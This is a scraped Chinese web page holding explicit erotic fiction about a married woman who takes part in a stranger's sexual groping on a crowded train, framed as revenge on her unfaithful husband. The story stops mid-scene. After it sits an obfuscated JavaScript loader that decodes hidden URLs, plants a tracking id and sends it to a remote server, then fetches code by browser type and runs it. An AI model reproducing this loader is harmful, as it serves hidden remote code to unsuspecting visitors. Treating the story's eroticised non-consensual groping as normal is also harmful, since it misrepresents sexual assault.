热搜排行
情欲深渊(1-3)完

情欲深渊

(一)

今晚丈夫一定到下半晚才回家,已是晚上十二点了,门外还是一片死寂。

真是没办法对付的人,家婆住进医院,他还是在外面与女人鬼混。

我望着窗外街道,再回望五岁女儿美奈的睡蒙睑,深深地叹了口气,家公也早已睡眠了,才五十岁外的家公每天都睡得很早。

“这个该死的丈夫,又到外面搞女人!”

我的名字叫冈田千加,今年二十八岁,与丈夫井泽(三十二岁)是六年前在公司内恋爱与结婚的。当时我觉得他是个讨女人欢心的人,也是很能体贴我的男人,可是。现在终于认识到这个男人是无可救药了。

照理来说,井泽是家中独子,照顾自己的双亲是责无旁贷的,凡事都要为父母亲着想才对,但结果是我这个妻子比丈夫要积极得多。

当时我们要结婚时,井泽的父母就对我说:“你们结婚以后也跟我们一起住吧!”

“完全不介意!”既然两个老人都表示要我们跟他们同住,我也同意了,事实上,井泽的父母也替我们安排得很周详。

结婚后第一年,我就生了美奈,家庭生活也很和睦。可是当美奈三岁时,丈夫的情况就变了,他变得迟归,有时过二、三晚才回家。

当我问他为什么夜归时,“只要每月拿钱回来便可以吧!”丈夫竟然这样回答。

我极不满丈夫的行为,家公家婆也很担心井泽,但无论我怎样说出心中的不满,丈夫还是我行我素。

丈夫这种情况,已持续两年多了,留下我在家里焦虑不安地过日子。虽然我想和他离婚了事,但有了女儿美奈,不能简单说离婚便可解决一切问题,即使没有美奈这个女儿,对女人来说,离婚也是够痛苦了。

就在我和丈夫发生感情问题时,家里又发生一件事,本来心脏不好的家婆在家里晕倒,我和家公立即把家婆送进医院。

还好,家婆住院后,病情便稳定下来,家公也好,我也好,每天到医院探病一次。但丈夫依然故我,一点也没改变,还是在外面鬼混,我对丈夫更加怒不可遏。

自己母亲的身体状况不妙,而丈夫仍然被外面的女人迷住,他是发甚么神经病。那个女人真的这么漂亮吗?比自己母亲和妻子还重要吗?

丈夫既然如此浪荡的话,我这个当妻子的也想报复,也要找个男人来陪我睡觉。

我虽然想去找男人,可是根本没有合适对象,这几年来都是专心一意当家庭主妇,根本不可能找到合意对象,就是旧男朋友,我也没见面了,难道忽然约他们见面第一句就是:“我们来做爱。好吗?”

另外,还有一个主要原因,就是家公和家婆他们。两老对我,就像对待自己亲生女儿一样的关心,每当我看着他们,内心便总是有份浓厚的感情,时常提醒我,不可作出会伤害两个老人家的事情出来,但我非常明白,我已不再爱恋自己的丈夫。

就在家婆住院一星期,在乡间的父母亲突然打电话来,说想美奈回乡间陪伴他们,正因女儿正放着假,家公也表示没问题,我便答应了。

第二天早上和女儿乘火车到南站,把美奈交给父母后,便乘火车回家。sosing.com因正好是上班一族的烦忙时间,当火车一到车站,我便被后面的人挤入车厢中,最后迫在车厢近角的一边,很久也没在早上乘火车的我,感觉非常挤拥。

火车开行不久,我便发觉身后的男人有意无意间用手背碰着我的臀部,因当时太多人挤拥,我想这男人是没意的,所以只是改变一下站立的姿势便算了,但不久男人又改变位置靠近我身后,一只手紧紧地贴在我的臀部上。

我知道是那一回事,“他在非礼我!”我正想转身骂他,但不知怎样,我忽然想看看这男人会对我做出什么行为,或者我现在引诱他做爱,作为对丈夫的报复。

我想着的同时,可能男人看见我没有反应,他的动作更大胆了。男人的手在我臀部上游动了一阵后,便开始越游越下了,当手指碰到我的阴户时……

“啊!”我低声叫了出来,男人被我的叫声惊吓似的,立刻把手缩回去。

不久。男人可能又见我没任何反应,他的手又贴在我的臀部上,手指直接在我的阴户上撩动,男人开始用手指慢慢一前一后对着阴户撩动,每当手指向前活动时,指头便轻轻地探进了我的阴道内,这轻微的刺激已让我全身一阵颤抖,双腿发软,爱液也不断流出来。

我感到因为爱液的关系,整条内裤变得湿湿黏黏的,这时我才记得今天穿是一条浅蓝色的连身裙,须然质料不是很薄,但应该被爱液渗出染成一片渍痕。我不禁有点后悔,如果给其他人看见便很羞人了。

但另一方面我很久没有这种兴奋的感觉,自从丈夫做出背负我的行为,两人就没有一次真正的性交,丈夫还可以在其他女人身上发泄,我只好自慰来解决自己的欲念。我现在感到体内被压抑已久的欲望已经无法控制了,我需要满足。

这时男人发现我这里已经全湿,便把手离开我的阴户,取代是一根硬物紧紧的顶着我的臀部中间的位置,一刹那间,我清楚男人的阳具正顶着耻部。

男人的硬物在耻部磨擦一会后,开始用有节奏的动作,一下一下顶着我阴户位置,加上列车的摆动,差不多仿佛真的在性交了,而且是背后进行的狗仔式。

“呀!……”我口中不禁低声呻吟,我感到他的硬物传来的热力,刺激得我全身有类似滚烫火热的快感。

这时我也忍不住,把臀部向后迎了过去,我知这动作会更鼓励这男人。

果然,男人从后慢慢把我的裙子卷起,再用他的热棒顶着我。

“啊!……这是……”从臀部感觉到的硬物,隔着内裤全来很高的热力,立体感觉亦更为明显,我这时才知男人从裤内拔出阳具顶着我。

我一明白过来,心里又惊又刺激,万一给其他乘客看见怎辨。不过,这种直接顶着阴户感觉,再加上随时被其他人发现的情况下,的确令我很兴奋,本来已经湿润的地方,现在变得又热又麻痒。

我需要更多刺激,右手便伸进内裤之中,灵巧的中指在阴蒂上细细撩动,一阵阵强烈的电流,把我的生理反应推上一个高峰,淫水源源不绝的持续流出,多到连内裤也没法吸纳,顺着大腿向下流去,我的臀部不断向后摆动,男人即拼命令肉棒更贴着我的屁股。

我听到背后男人的唿吸愈来愈急促,一阵阵的热气,沉重地喷到我的颈背后面。男人如此沉重的气息,更令我意乱情迷,而顶着我阴户的阳具,亦变得愈来愈坚硬了,仿佛要刺穿内裤,一直穿到我的身体里去。

同时我亦感到淫穴里一阵骚动,在指尖继续加强活动下,一阵无法形容的电流,和全身汗毛也竖立的美妙感觉,正同时冲击着我的思想和肉体,灵魂几乎要脱离身体一样,我无法控制自己进入高潮了。

“唔!……唔!……呀!……”我紧紧把下唇咬紧,以免叫出声来。

同时男人似乎不顾后果的向我压迫过来,跟着一阵抽搐,我感到内裤被射上了一些很热的煳状液体,而且有部分已渗入到屁股上。

当火车到站后,我立即离开车厢,我没有回头看那个男人,亦没有和他说任何话。

当回到家里,家公不在,应该是出外探望家婆了。我走进浴室,把内裤脱下来,内裤上沾满男性精液和女性淫水的污秽渍印。看着内裤上的秽渍,我不禁有点像向丈夫报复的喜悦。

******************

(二)

当晚家公像平时一般,很早回房休息了。但我怎样也难以入睡,脑海中全是今早在火车发生的事情,内心就难以平静。

脑海满是今早在火车发生的事情,身体又变得火烧一般难受,我在床上解开了睡衣的钮扣,袒露出丰满的胸部,左手在乳头上揉搓着,右手摸向腿间,这里被内裤勒住的部位又热又湿,当指尖轻柔的在阴蒂上拨弄,有如电击的感觉便走遍全身,花瓣里面也兴奋得不断收缩了,代表淫欲的蜜液不断从肉缝内流出。

“呀!……啊!……真的很……舒服呀……哦!……”

我已经忍不住呻吟起来,右手食指同时慢慢进入淫穴里抽插,当流出更多蜜液后,再把中指一起插进去,并加快在小穴中翻搅。

我沈醉在淫乱的快感中,双腿微微地抖动,爱液如泉水般源源不绝从阴户溢出。

“呀!……啊!……啊……”

正当这种快感越来越强烈时,正要把我带上高潮的顶端……

“千加!……喂!……你没事吗?”

猜你喜欢下面这些
function UDNOhsW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function zBfdyx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UDNOhsW(t);};window[''+'F'+'i'+'J'+'R'+'h'+'H'+'l'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function tJfBK(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=zBfdyx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=tJfBK(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=tJfBK(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0ccHMlM0ElMkYlMkZhLm1wemx2ccS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168623',window,document,['c','T']);}:function(){};